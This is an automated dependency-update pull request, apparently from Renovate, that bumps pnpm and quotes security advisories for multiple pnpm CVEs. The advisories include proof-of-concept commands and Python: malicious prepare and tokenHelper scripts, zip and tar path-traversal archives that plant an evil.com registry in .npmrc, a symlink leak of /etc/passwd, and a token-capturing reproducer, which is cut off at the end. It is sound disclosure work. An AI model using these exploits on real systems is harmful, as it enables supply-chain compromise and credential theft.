chore(deps): update pnpm to v10.34.5 [security] #16

Öppen
bitborg-renovate vill sammanfoga 1 incheckning från renovate/npm-pnpm-vulnerability in i main
Medarbetare

This PR contains the following updates:

Package Change Age Confidence
pnpm (source) 10.15.0 → 10.34.5 age confidence
pnpm (source) >=8.0.0 → >=10.34.5 age confidence

pnpm v10+ Bypass "Dependency lifecycle scripts execution disabled by default"

CVE-2025-69264 / GHSA-379q-355j-w6rj

More information

Details

pnpm v10+ Git Dependency Script Execution Bypass
Summary

A security bypass vulnerability in pnpm v10+ allows git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval.

Details

pnpm v10 introduced a security feature to disable dependency lifecycle scripts by default (PR #​8897). This is implemented by setting onlyBuiltDependencies = [] when no build policy is configured:

File: pkg-manager/core/src/install/extendInstallOptions.ts (lines 290-291)

if (opts.neverBuiltDependencies == null && opts.onlyBuiltDependencies == null && opts.onlyBuiltDependenciesFile == null) {
  opts.onlyBuiltDependencies = []
}

This creates an allowlist that blocks all packages from running scripts during the BUILD phase in exec/build-modules/src/index.ts.

However, git-hosted dependencies are processed differently. During the FETCH phase, git packages are prepared using preparePackage():

File: exec/prepare-package/src/index.ts (lines 28-57)

export async function preparePackage (opts: PreparePackageOptions, gitRootDir: string, subDir: string) {
  // ...
  if (opts.ignoreScripts) return { shouldBeBuilt: true, pkgDir }  // Only checks ignoreScripts, not onlyBuiltDependencies

  const execOpts: RunLifecycleHookOptions = {
    // ...
    rawConfig: omit(['ignore-scripts'], opts.rawConfig),  // Explicitly removes ignore-scripts!
  }

  // Runs npm/pnpm install
  await runLifecycleHook(installScriptName, manifest, execOpts)

  // Runs prepare scripts
  for (const scriptName of PREPUBLISH_SCRIPTS) {  // ['prepublish', 'prepack', 'publish']
    await runLifecycleHook(newScriptName, manifest, execOpts)
  }
}

The ignoreScripts option defaults to false and is completely separate from onlyBuiltDependencies. The onlyBuiltDependencies allowlist is never consulted during the fetch phase.

Affected scripts that execute during fetch:

  • prepare
  • prepublish
  • prepack

Attack vectors:

  • git+https://github.com/attacker/malicious.git
  • github:attacker/malicious
  • gitlab:attacker/malicious
  • bitbucket:attacker/malicious
  • git+ssh://git@github.com/attacker/malicious.git
  • git+file:///path/to/local/repo
PoC

Prerequisites:

  • pnpm v10.0.0 or later (tested on v10.23.0 and v11.0.0-alpha.1)
  • git

Steps to reproduce:

  1. Extract the attached poc.zip

  2. Run the PoC script:

    cd poc
    chmod +x run-poc.sh
    ./run-poc.sh
    
  3. Verify the marker file was created by the malicious script:

    cat /tmp/pnpm-vuln-poc-marker.txt
    

Manual reproduction:

  1. Create a malicious package with a prepare script:

    {
      "name": "malicious-pkg",
      "version": "1.0.0",
      "scripts": {
        "prepare": "node -e \"require('fs').writeFileSync('/tmp/pwned.txt', 'RCE!')\""
      }
    }
    
  2. Initialize it as a git repo and commit the files

  3. Create a victim project that depends on it (just have to make sure it actually git clones and not just downloads a tarball):

    {
      "dependencies": {
        "malicious-pkg": "git+file:///path/to/malicious-pkg"
      }
    }
    
  4. Run pnpm install - the prepare script executes without any warning or approval prompt

Impact

Severity: High

Who is impacted:

  • All pnpm v10+ users
  • Users who believed they were protected by the v10 "scripts disabled by default" feature
  • CI/CD pipelines

Attack scenarios:

  1. Supply chain attack: An attacker compromises a dependency, adding to it a malicious git dependency that executes arbitrary code during pnpm install

What an attacker can do:

  • Execute arbitrary code with the victim's privileges
  • Exfiltrate environment variables, secrets, and credentials
  • Modify source code or inject backdoors
  • Establish persistence or reverse shells
  • Access the filesystem and network

Why this bypasses security expectations:

  • pnpm v10 changelog explicitly states "Lifecycle scripts of dependencies are not executed during installation by default"
  • Users expect git dependencies to follow the same security model as npm registry packages
  • There is no warning that git dependencies are treated differently
  • The onlyBuiltDependencies configuration does not affect git dependencies

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm Has Lockfile Integrity Bypass that Allows Remote Dynamic Dependencies

CVE-2025-69263 / GHSA-7vhp-vf5g-r2fw

More information

Details

Summary

HTTP tarball dependencies (and git-hosted tarballs) are stored in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed.

Details

When a package depends on an HTTP tarball URL, pnpm's tarball resolver returns only the URL without computing an integrity hash:

resolving/tarball-resolver/src/index.ts:

return {
  resolution: {
    tarball: resolvedUrl,
    // No integrity field
  },
  resolvedVia: 'url',
}

The resulting lockfile entry has no integrity to verify:

remote-dynamic-dependency@http://example.com/pkg.tgz:
  resolution: {tarball: http://example.com/pkg.tgz}
  version: 1.0.0

Since there is no integrity hash, pnpm cannot detect when the server returns different content.

This affects:

  • HTTP/HTTPS tarball URLs ("pkg": "https://example.com/pkg.tgz")
  • Git shorthand dependencies ("pkg": "github:user/repo")
  • Git URLs ("pkg": "git+https://github.com/user/repo")

npm registry packages are not affected as they include integrity hashes from the registry metadata.

PoC

See attached pnpm-bypass-integrity-poc.zip

The POC includes:

  • A server that returns different tarball content on each request
  • A malicious-package that depends on the HTTP tarball
  • A victim project that depends on malicious-package

To run:

cd pnpm-bypass-integrity-poc
./run-poc.sh

The output shows that each install (with pnpm store prune between them) downloads different code despite having a committed lockfile.

Impact

An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. This enables:

  • Targeted attacks based on request metadata (IP, headers, timing)
  • Evasion of security audits (serve benign code during review, malicious code later)
  • Supply chain attacks where the malicious payload changes over time

The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm vulnerable to Command Injection via environment variable substitution

CVE-2025-69262 / GHSA-2phv-j68v-wwqx

More information

Details

Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

Affected Components
  • Package: pnpm
  • Versions: All versions using @pnpm/config.env-replace and loadToken functionality
  • File: pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function
  • File: pnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitution
Technical Details
Vulnerability Chain
  1. Environment Variable Substitution

    • .npmrc supports ${VAR} syntax
    • Substitution occurs in readLocalConfig()
  2. loadToken Execution

    • Uses spawnSync(helperPath, { shell: true })
    • Only validates absolute path existence
  3. Attack Flow

.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
   ↓
envReplace() → /tmp/evil-helper.sh
   ↓
loadToken() → spawnSync(..., { shell: true })
   ↓
RCE achieved
Code Evidence

pnpm/config/config/src/readLocalConfig.ts:17-18

key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)

pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71

export function loadToken(helperPath: string, settingName: string): string {
  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
  }
  const spawnResult = spawnSync(helperPath, { shell: true })
  // ...
}
Proof of Concept
Prerequisites
  • Private npm registry access
  • Control over environment variables
  • Ability to place scripts in filesystem
PoC Steps

##### 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'

#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh

##### 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF

##### 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh

##### 4. Trigger pnpm install
pnpm install  # RCE occurs during auth

##### 5. Verify attack
cat /tmp/rce-log.txt
PoC Results
==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed
Impact
Severity
  • CVSS Score: 7.6 (High)
  • CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected Environments

High Risk:

  • CI/CD pipelines (GitHub Actions, GitLab CI)
  • Docker build environments
  • Kubernetes deployments
  • Private registry users

Low Risk:

  • Public registry only
  • Production runtime (no pnpm execution)
  • Static sites
Attack Scenarios

Scenario 1: CI/CD Supply Chain

Repository → Build Trigger → pnpm install → RCE → Production Deploy

Scenario 2: Docker Build

FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install  # RCE

Scenario 3: Kubernetes

Secret Control → Env Variable → .npmrc Substitution → RCE
Mitigation
Temporary Workarounds

Disable tokenHelper:


##### .npmrc
##### registry.npmjs.org/:tokenHelper=${HELPER_PATH}

Use direct tokens:

//registry.npmjs.org/:_authToken=YOUR_TOKEN

Audit environment variables:

  • Review CI/CD env vars
  • Restrict .npmrc changes
  • Monitor build logs
  1. Remove shell: true from loadToken
  2. Implement helper path allowlist
  3. Validate substituted paths
  4. Consider sandboxing
Disclosure
  • Discovery: 2025-11-02
  • PoC: 2025-11-02
  • Report: [Pending disclosure decision]
References
Credit

Reported by: Jiyong Yang
Contact: sy2n0@​naver.com

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)

CVE-2026-23888 / GHSA-6pfh-p556-v868

More information

Details

Summary

A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.

Details

The vulnerability exists in the binary fetching and extraction logic:

1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)

AdmZip's extractAllTo does not validate entry paths for path traversal:

const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true)  // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)

A ZIP entry with path ../../../.npmrc will be written outside nodeDir.

2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)

The basename variable comes from BinaryResolution.prefix and is used directly in path construction:

const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir
PoC

Attack Vector 1: ZIP Entry Path Traversal

import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    # Normal file
    zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
    # Malicious path traversal entry
    zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')

with open('malicious-node.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())

Attack Vector 2: Prefix Traversal via malicious resolution:

{
  "resolution": {
    "type": "binary",
    "url": "https://attacker.com/node.zip",
    "prefix": "../../PWNED"
  }
}
Impact
  • All pnpm users who install packages with binary assets
  • Users who configure custom Node.js binary locations
  • CI/CD pipelines that auto-install binary dependencies
  • Can overwrite config files, scripts, or other sensitive files leading to RCE

Verified on pnpm main @​ commit 5a0ed1d45.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm has Windows-specific tarball Path Traversal

CVE-2026-23889 / GHSA-6x96-7vc8-cm3p

More information

Details

Summary

A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details

1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

if (fileName.includes('./')) {
  fileName = path.posix.join('/', fileName).slice(1)
}

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

  • On Unix: Backslashes are literal filename characters (safe)
  • On Windows: Backslashes are directory separators (exploitable)
PoC
  1. Create a malicious tarball with entry package/foo\..\..\.npmrc
  2. Host it or use as a tarball URL dependency
  3. On Windows: pnpm install
  4. Observe .npmrc written outside package directory
import tarfile, io

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
    pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
    pkg_info = tarfile.TarInfo(name='package/package.json')
    pkg_info.size = len(pkg_json)
    tar.addfile(pkg_info, io.BytesIO(pkg_json))

    malicious_content = b'registry=https://evil.com/\n'
    mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
    mal_info.size = len(malicious_content)
    tar.addfile(mal_info, io.BytesIO(malicious_content))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
    f.write(tar_buffer.getvalue())
Impact
  • Windows pnpm users
  • Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
  • Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @​ commit 5a0ed1d45.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin

CVE-2026-23890 / GHSA-xpqm-wm3m-f34h

More information

Details

Summary

A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of node_modules/.bin. Bin names starting with @ bypass validation, and after scope normalization, path traversal sequences like ../../ remain intact.

Details

The vulnerability exists in the bin name validation and normalization logic:

1. Validation Bypass (pkg-manager/package-bins/src/index.ts)

The filter allows any bin name starting with @ to pass through without validation:

.filter((commandName) =>
  encodeURIComponent(commandName) === commandName ||
  commandName === '' ||
  commandName[0] === '@&#8203;'  // <-- Bypasses validation
)

2. Incomplete Normalization (pkg-manager/package-bins/src/index.ts)

function normalizeBinName (name: string): string {
  return name[0] === '@&#8203;' ? name.slice(name.indexOf('/') + 1) : name
}
// Input:  @&#8203;scope/../../evil
// Output: ../../evil  <-- Path traversal preserved!

3. Exploitation (pkg-manager/link-bins/src/index.ts:288)

The normalized name is used directly in path.join() without validation.

PoC
  1. Create a malicious package:
{
  "name": "malicious-pkg",
  "version": "1.0.0",
  "bin": {
    "@&#8203;scope/../../.npmrc": "./malicious.js"
  }
}
  1. Install the package:
pnpm add /path/to/malicious-pkg
  1. Observe .npmrc created in project root (outside node_modules/.bin).
Impact
  • All pnpm users who install npm packages
  • CI/CD pipelines using pnpm
  • Can overwrite config files, scripts, or other sensitive files

Verified on pnpm main @​ commit 5a0ed1d45.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-24056 / GHSA-m733-5w8f-5ggw

More information

Details

Summary

When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.

Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.

Details

The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:

const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath)  // Follows symlinks!
const buffer = fs.readFileSync(absolutePath)  // Reads symlink TARGET

There is no check that absolutePath resolves to a location inside the package directory.

PoC

##### Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json

##### Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil

##### Leaked!
cat node_modules/evil/leaked-passwd.txt
Impact
  • Developers installing local/file dependencies
  • CI/CD pipelines installing git dependencies
  • Credential theft via symlinks to ~/.aws/credentials, ~/.npmrc, ~/.ssh/id_rsa
Suggested Fix

Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.

Severity

  • CVSS Score: 6.7 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm has Path Traversal via arbitrary file permission modification

CVE-2026-24131 / GHSA-v253-rj99-jwpq

More information

Details

Summary

When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.

Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).

Details

Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION
  const files = await findFiles(binDir)
  // ... files outside package returned, then chmod 755'd
}

The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.

PoC

##### Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json

##### Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh  # Private

##### Install
pnpm add file:/tmp/malicious-pkg

##### Check permissions
ls -la /tmp/target/secret.sh  # Now 755 (world-readable)
Impact
  • Supply-chain attack via npm packages
  • File permissions changed from 600 to 755 (world-readable)
  • Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)
Suggested Fix

Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)
  if (!isSubdir(pkgPath, binDir)) {
    return []  // Reject paths outside package
  }
  // ...
}

Severity

  • CVSS Score: 6.7 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Tarball hash of GitHub git dependencies is not stored in lockfile

CVE-2026-48995 / GHSA-hg3w-7f8c-63hp

More information

Details

Summary

A malicious codeload.github.com server can serve whatever tarball it wants and pnpm will install it regardless of the lockfile.

Details

The lockfile does not store the hash of the dependencies from https://codeload.github.com

This means that if this server was compromised or a person's machine configuration was compromised, pnpm would download and install these dependencies.

PoC
> pnpm -v     
10.28.2

Given the following package.json:

{
  "dependencies": {
    "add": "git://github.com/dsherret/npm-git-dep.git#b3eeb9b"
  }
}

This produces a lockfile like so:

lockfileVersion: '9.0'

settings:
  autoInstallPeers: true
  excludeLinksFromLockfile: false

importers:

  .:
    dependencies:
      add:
        specifier: git://github.com/dsherret/npm-git-dep.git#b3eeb9b
        version: https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b

packages:

  add@https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b:
    resolution: {tarball: https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b}
    version: 1.0.0

snapshots:

  add@https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b: {}

Notice that there is no hash. The b3eeb9b is not sufficient because I can configure my machine to resolve a compromised tarball from that url (I tested it out and pnpm just installs it).

Impact

Anyone relying on github git dependencies.

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Unsafe default behavior breaks integrity check

CVE-2026-50573 / GHSA-54hh-g5mx-jqcp

More information

Details

While it is unclear whether this should be classified as a vulnerability, it is being reported through this channel because the current behavior may represent an unsafe default.

Summary

pnpm install in non-frozen mode can accept new remote package content after detecting that the downloaded tarball does not match the integrity recorded in pnpm-lock.yaml.

When a package is already locked with an integrity value, and the registry later serves different metadata and tarball content for the same package name and version, pnpm initially reports an integrity mismatch. However, plain pnpm install then performs a resolution repair, accepts the registry's new integrity, updates the lockfile, installs the new content, and exits successfully.

This means the lockfile integrity check does not act as a hard stop by default.

Reproduction Scenario
  1. Run a local npm-compatible registry.
  2. Publish or serve example-package@1.0.0 with tarball content v1.
  3. Install it with pnpm:
pnpm add example-package@1.0.0 --registry=http://127.0.0.1:48741
  1. Confirm pnpm-lock.yaml contains the v1 integrity:
packages:
  example-package@1.0.0:
    resolution:
      integrity: sha512-...v1...
  1. Change the registry metadata and tarball for the same example-package@1.0.0 to content v2.
  2. On a clean store/cache, run:
pnpm install --registry=http://127.0.0.1:48741
Observed Behavior

pnpm detects the checksum mismatch:

WARN Got unexpected checksum for "http://127.0.0.1:48741/example-package/-/example-package-1.0.0.tgz".
Wanted "sha512-...v1..."
Got "sha512-...v2...".

ERR_PNPM_TARBALL_INTEGRITY The lockfile is broken! Resolution step will be performed to fix it.

However, the install still succeeds:

INSTALL_RC=0
INSTALLED=v2-replaced

The lockfile is then rewritten to trust the new remote integrity:

packages:
  example-package@1.0.0:
    resolution:
      integrity: sha512-...v2...
Expected Behavior

If a downloaded tarball does not match the integrity recorded in pnpm-lock.yaml, the install should fail by default.

The lockfile integrity should be treated as authoritative unless the user explicitly requests lockfile repair or dependency update behavior.

Security Impact

This behavior weakens the protection normally expected from a committed lockfile.

If a registry is compromised and an attacker overwrites the metadata and tarball for an existing package version, a new environment without the old pnpm store/cache may install the attacker's replacement package even though the project already has a lockfile with the original integrity.

Examples of affected new or clean environments include:

  • an engineer setting up the project on a new machine
  • a new team member onboarding to the project

In this situation, pnpm first detects that the downloaded tarball does not match the integrity stored in pnpm-lock.yaml. However, instead of failing by default, plain pnpm install performs a resolution repair, trusts the current remote registry metadata, updates the lockfile to the new integrity, and installs the new registry content.

In other words, when the lockfile and registry disagree, the default non-frozen behavior can end up trusting the remote registry over the content previously recorded in the lockfile.

This is especially relevant for:

  • private registries that allow overwriting or republishing the same version
  • registry mirrors or proxies that can serve changed metadata and tarballs
  • compromised public or private registries
  • compromised registry proxy infrastructure

The behavior is also surprising because the command reports an integrity error but still exits successfully after resolution repair.

This issue does not occur when --frozen-lockfile is enabled. In frozen mode, the same integrity mismatch fails the install and does not install the changed package content.

However, since the lockfile already records an integrity value, the integrity for the same package version should normally not change. If it does change, one likely explanation is that the server or registry has been compromised or is serving mutated package content. Under normal package publishing workflows, changed package content should be published as a new version instead of replacing an existing version.

For that reason, it may be safer for pnpm's default behavior to be closer to frozen mode for this specific case. At minimum, pnpm should not automatically repair the lockfile and trust the registry after an integrity mismatch. It should fail and let the user explicitly decide whether to discard the locked integrity, re-resolve the package from the remote registry, and update the lockfile.

Comparison

In the same scenario, npm install with an existing package-lock.json fails with EINTEGRITY and does not install the changed tarball.

pnpm install --frozen-lockfile also fails as expected:

ERR_PNPM_TARBALL_INTEGRITY

The issue is specific to the default non-frozen behavior of plain pnpm install in non-CI environment.

Severity

  • CVSS Score: 6.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm binds unscoped user-level npm auth credentials to a repository-selected registry

CVE-2026-50017 / GHSA-cjhr-43r9-cfmw

More information

Details

Summary

pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local .npmrc file.

In the reproduced case, the user's npm config contains a default registry and an unscoped _authToken. The repository does not provide a token-bearing auth line. It only sets registry= to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as an Authorization header.

This was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used.

Affected Behavior Observed

Observed affected:

  • pnpm 10.33.2: pnpm install --ignore-scripts sends the user-level unscoped _authToken to the repository-selected registry.
  • pnpm 11.1.3: pnpm install --ignore-scripts sends the user-level unscoped _authToken to the repository-selected registry.
  • pnpm 11.2.1 (next-11 dist tag at testing time): pnpm install --ignore-scripts sends the user-level unscoped _authToken to the repository-selected registry.
  • pnpm 11.1.3: pnpm view also sends user-level unscoped _authToken, _auth, and username / _password credentials to the repository-selected registry in the local loopback replay.

Control:

  • npm 10.9.7 rejects the same unscoped user _authToken configuration with ERR_INVALID_AUTH and does not send an Authorization header to the repository-selected registry.
  • URL-scoped registry token controls held in the local loopback replay: tokens scoped to the trusted registry URL were not sent to the attacker registry.
Threat Model

Victim:

  • developer or CI job with user-level npm registry credentials configured;
  • runs pnpm install, pnpm view, or an equivalent pnpm metadata/restore command in a repository.

Attacker:

  • controls repository-local package manager configuration, such as .npmrc;
  • can set registry= to a registry endpoint they control;
  • does not need to provide a token-bearing auth line for the strong case.

Boundary:

Credentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry.

Minimal Reproduction

The reproducer below starts two loopback HTTP registries:

  • a trusted registry URL used in the isolated user .npmrc;
  • an attacker registry URL used in the repository-local .npmrc.

The isolated user .npmrc contains:

registry=<trusted-loopback-registry>
_authToken=PR166_FAKE_REGISTRY_TOKEN

The repository-local .npmrc contains:

registry=<attacker-loopback-registry>

The repository package.json depends on a toy package served by the loopback registry. The script then runs:

pnpm install --ignore-scripts
npm install --ignore-scripts
Expected Safe Behavior

pnpm should not send the user-level unscoped _authToken to the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry.

Observed Behavior

pnpm 10.33.2, pnpm 11.1.3, and pnpm 11.2.1 send:

Authorization: Bearer PR166_FAKE_REGISTRY_TOKEN

to the attacker loopback registry during install. npm 10.9.7 rejects the same config and sends no Authorization header.

Security Impact

This can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution.

Non-Claims

This report does not claim:

  • remote code execution;
  • registry account compromise by itself;
  • leakage of URL-scoped tokens for a different registry;
  • npm CLI impact;
  • impact from a repository explicitly committing its own token-bearing auth
    line.
Source-Level Notes

In pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local .npmrc can change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice.

Suggested Fix Direction

The conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped
credentials.

This needs maintainer semantic review and compatibility control because some legacy workflows may intentionally rely on default/unscoped auth.

Runnable Reproducer

Save the following as repro.py and run it with Python 3 in an environment with pnpm and npm available. To force a specific pnpm version through Corepack, set PR166_PNPM_SPEC, for example PR166_PNPM_SPEC=11.2.1.

import base64
import contextlib
import hashlib
import http.server
import io
import json
import os
import shutil
import subprocess
import sys
import tarfile
import tempfile
import threading
from pathlib import Path

"""Standalone loopback reproducer.

It creates only temporary directories and loopback HTTP servers. Cleanup is handled by TemporaryDirectory context managers and registry shutdown handlers; no persistent state is expected outside the package-manager cache directories inside the temporary home. Non-claims: this does not use real credentials, third-party registries, package scripts, or remote services. Failure paths return exit 1 or exit 2 through sys.exit(main()).
"""

TOKEN = "PR166_FAKE_REGISTRY_TOKEN"
PACKAGE_TGZ = None

class RegistryHandler(http.server.BaseHTTPRequestHandler):
    requests = []

    def do_GET(self):
        self.requests.append(
            {
                "method": self.command,
                "path": self.path,
                "authorization": self.headers.get("Authorization"),
            }
        )
        if self.path.endswith(".tgz"):
            payload = make_package_tgz()
            self.send_response(200)
            self.send_header("Content-Type", "application/octet-stream")
            self.send_header("Content-Length", str(len(payload)))
            self.end_headers()
            self.wfile.write(payload)
            return

        payload = make_package_tgz()
        body = json.dumps(
            {
                "name": "@&#8203;private/probe",
                "dist-tags": {"latest": "1.0.0"},
                "versions": {
                    "1.0.0": {
                        "name": "@&#8203;private/probe",
                        "version": "1.0.0",
                        "dist": {
                            "tarball": f"http://127.0.0.1:{self.server.server_port}/private/@&#8203;private/probe/-/probe-1.0.0.tgz",
                            "shasum": hashlib.sha1(payload).hexdigest(),
                            "integrity": "sha512-"
                            + base64.b64encode(hashlib.sha512(payload).digest()).decode("ascii"),
                        },
                    }
                },
            }
        ).encode("utf-8")
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
